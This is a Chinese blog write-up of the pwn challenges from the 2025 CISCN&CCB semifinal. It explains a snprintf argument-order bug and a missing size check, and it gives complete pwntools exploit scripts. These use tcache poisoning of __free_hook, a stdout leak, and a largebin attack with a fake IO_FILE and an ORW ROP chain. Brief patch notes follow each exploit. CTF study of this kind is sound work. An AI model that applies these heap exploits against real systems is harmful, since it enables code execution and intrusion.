CISCN&CCB半决赛_2025_PWN_WP

CISCN&CCB半决赛_2025_PWN_WP

前言:

记录一下第一次打半决赛国赛,总结来说还是自己太菜了,还有check脚本是真的很shi,正规军白给了。。。

typo

break

edit函数内部,使用了snprintf 来实现,漏洞是因为,size参数和格式化的参数顺序反过来了。导致了堆溢出以及格式化字符串漏洞

后来在栈上发现没有合适的链子使用,但是可以直接通过堆溢出漏洞来进行实现teache bin attack

没有show函数来进行泄露地址,但是可以通过teache bin attack 来打IO泄露地址,之后拿到地址之后就可以继续teache bin attack

来打__free_hook.

EXP:
from gt import *
con("amd64")
​
io = process("./pwn")
libc = ELF("./libc-2.31.so")
​
def add(index,size):
    io.sendlineafter(">> ","1")
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(size))
​
​
​
​
def free(index):
    io.sendlineafter(">> ","2")
    io.sendlineafter("Index: ",str(index))
​
​
​
def edit(index,size,msg):
    io.sendlineafter(">> ","3")
    io.sendlineafter("Index: ",str(index))
    io.sendafter("content: ",size)
    io.sendafter("want to say: ",msg)
​
​
# add(0,0x20)
# add(1,0x28)
# add(2,0x28)
# add(3,0x28)
# add(4,0xf8)
# free(1)
for i in range(0x6):
    add(i,0x78)
add(7,0x20)
add(8,0x78)
add(9,0x30)
add(10,0x78)
add(11,0x10)
add(12,0x78)
add(13,0x28)
add(14,0x28)
add(15,0x28)
add(16,0x28)
add(17,0x28)
# gdb.attach(io)
​
payload = b'd'*0x40 + b"/bin/sh\x00"
​
edit(16,payload,'a')
payload = b'd'*0x38 + p64(0x41)
​
edit(16,payload,'a')
​
# add(11,0x78)
payload = b'a'*0x88 + p64(0xd1)
edit(8,payload,'a')
free(9)
add(9,0xc0)
for i in range(0,5):
    free(i)
free(12)
free(8)
free(10)
​
payload = b'a'*0x30 
edit(7,payload,'a')
payload = b'a'*0x28 + p64(0x91)
edit(7,payload,'a')
payload = b'a'*0x30 + p64(0x91) + b'\x90\x76'
# gdb.attach(io)
edit(9,'\xc0',payload)
add(0,0x78)
# gdb.attach(io)
add(1,0x78)
add(2,0x78)
payload =b'\x00'*0x8+ p64(0xfbad1887) + p64(0) * 3 + b'\x00'
edit(2,b'\x78',payload)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ec980
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
free(15)
free(14)
# gdb.attach(io)
payload = b'a'*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)
edit(13,payload,'aa')
payload = b'a'*0x38 + b'\x41'
edit(13,payload,'aa')
add(14,0x28)
add(15,0x28)
edit(15,'\x28',b'\x00'*8+p64(system))
​
free(17)
# add(0,0x78)
# gdb.attach(io)
​
io.interactive()
fix

snprintf换成printf

或者直接nop掉这个函数

prompt

break

开启了沙箱并且加了一层protobuf的壳

漏洞存在于edit函数

这里对size没有做大小检查,导致堆溢出,可以通过这一点来泄露地址,然后通过largebin attack 来打io

EXP:
from gt import *
import ctf_pb2
​
con("amd64")
​
io = process("./pwn")
libc = ELF("./libc.so.6")
​
​
def add(index,size,msg):
    proto = ctf_pb2.HeapPayload()
    proto.option = 1
    proto.chunk_sizes.append(size)
    proto.heap_chunks_id.append(index)
    proto.heap_content = msg
    sd = proto.SerializeToString()
    io.sendafter("Your prompt >> ",p32(len(sd)))
    io.send(sd)
​
def free(index):
    proto = ctf_pb2.HeapPayload()
    proto.option = 2
    proto.chunk_sizes.append(0)
    proto.heap_chunks_id.append(index)
    proto.heap_content = b'BabyShark'
    sd = proto.SerializeToString()
    io.sendafter("Your prompt >> ",p32(len(sd)))
    io.send(sd)
​
​
def edit(index,size,msg):
    proto = ctf_pb2.HeapPayload()
    proto.option = 3
    proto.chunk_sizes.append(size)
    proto.heap_chunks_id.append(index)
    proto.heap_content = msg
    sd = proto.SerializeToString()
    io.sendafter("Your prompt >> ",p32(len(sd)))
    io.send(sd)
​
def show(index):
    proto = ctf_pb2.HeapPayload()
    proto.option = 4
    proto.chunk_sizes.append(0)
    proto.heap_chunks_id.append(index)
    proto.heap_content = b'BabyShark'
    sd = proto.SerializeToString()
    io.sendafter("Your prompt >> ",p32(len(sd)))
    io.send(sd)
​
​
def exit():
    proto = ctf_pb2.HeapPayload()
    proto.option = 5
    proto.chunk_sizes.append(0)
    proto.heap_chunks_id.append(1)
    proto.heap_content = b'BabyShark'
    sd = proto.SerializeToString()
    io.sendafter("Your prompt >> ",p32(len(sd)))
    io.send(sd)
​
​
​
add(0,0x100,b'a'*0x10)
add(1,0x100,b'b'*0x10)
add(2,0x100,b'c'*0x10)
​
free(1)
payload = b'd'*0x100 + b'e'*0x10
edit(0,len(payload),payload)
show(0)
io.recvuntil("e"*0x10)
heap_base = u64(io.recv(5).ljust(8,b'\x00'))
heap_base = (heap_base << 12) - 0x7000
suc("heap_base",heap_base)
# gdb.attach(io)
payload = b'd'*0x100 + p64(0) + p64(0x111)
edit(0,len(payload),payload)
add(1,0x100,b'b'*0x10)
for i in range(7):
    add(i+3,0x210,b'a')
​
add(10,0x210,b'2'*8)
add(11,0x210,b'b')
add(12,0x210,b'b')
for i in range(7):
    free(i+3)
​
free(11)
payload = b'2'*0x210 + b'3' * 0x10
edit(10,len(payload),payload)
show(10)
io.recvuntil("3"*0x10)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x203d30
​
suc("libc_base",libc_base)
payload = b'2'*0x210 + p64(0) + p64(0x221)
edit(10,len(payload),payload)
_IO_list_all = libc_base + libc.sym["_IO_list_all"] 
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_2_1_stderr_ = libc_base + libc.sym["_IO_2_1_stderr_"]
for i in range(3):
    free(i)
​
add(0,0x440,b'a')
​
add(1,0x430,b'a')
add(2,0x430,b'a')
add(3,0x340,b'a')
add(4,0x440,b'a')
add(5,0x440,b'a')
add(6,0x450,b'a')
add(7,0x440,b'a')
add(8,0x1f0,b'a')
free(5)
add(5,0x500,b'a')
payload = b'a'*0x440 + p64(0x8a0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(_IO_list_all-0x20)*2
fake_io_addr = heap_base +  0x5d90
gdb.attach(io)
edit(4,len(payload),payload)
free(1)
add(1,0x500,b'a')
add(9,0x430,b'a')
payload = b'a'*0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(fake_io_addr)*2
​
edit(4,len(payload),payload)
add(11,0x430,b'a')
​
# add(3,0x10,b'\x00')
# gdb.attach(io)
# add(1,0x310,p64(fake_io_addr))
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret; 
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret; 
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret; 
syscall = libc_base + 0x0000000000098fb6#: syscall; ret; 
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a877e#: pop rcx; ret; 
​
​
​
​
orw_addr = fake_io_addr + 0x150
fake_IO_FILE=p64(0)*3       #_flags=rdi
fake_IO_FILE+=p64(_IO_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system) mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]; 
fake_IO_FILE +=p64(0) + p64(1) + p64(0) + p64(orw_addr-0x20) # rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x2000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE += p64(0)*7 + p64(orw_addr+8) + p64(pop_rdi+1)
flag_addr = orw_addr + 0x80
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rcx)+ p64(0x40)+p64(sendfile) + b"/flag\x00"
​
fake_IO_FILE += orw
​
edit(11,len(fake_IO_FILE),fake_IO_FILE)
​
'''
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret; 
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret; 
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret; 
syscall = libc_base + 0x0000000000098fa6#: syscall; ret; 
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a876e#: pop rcx; ret; 
'''
# gdb.attach(io)
exit()
io.interactive()
    
​
​

fix

将n该小即可防止溢出

post_quantum

fix

这个我看网上修的方法有很多,这里是把解密函数的两个freeban

posted @ 2025-03-20 16:32  CH13hh  阅读(84)  评论(0)    收藏  举报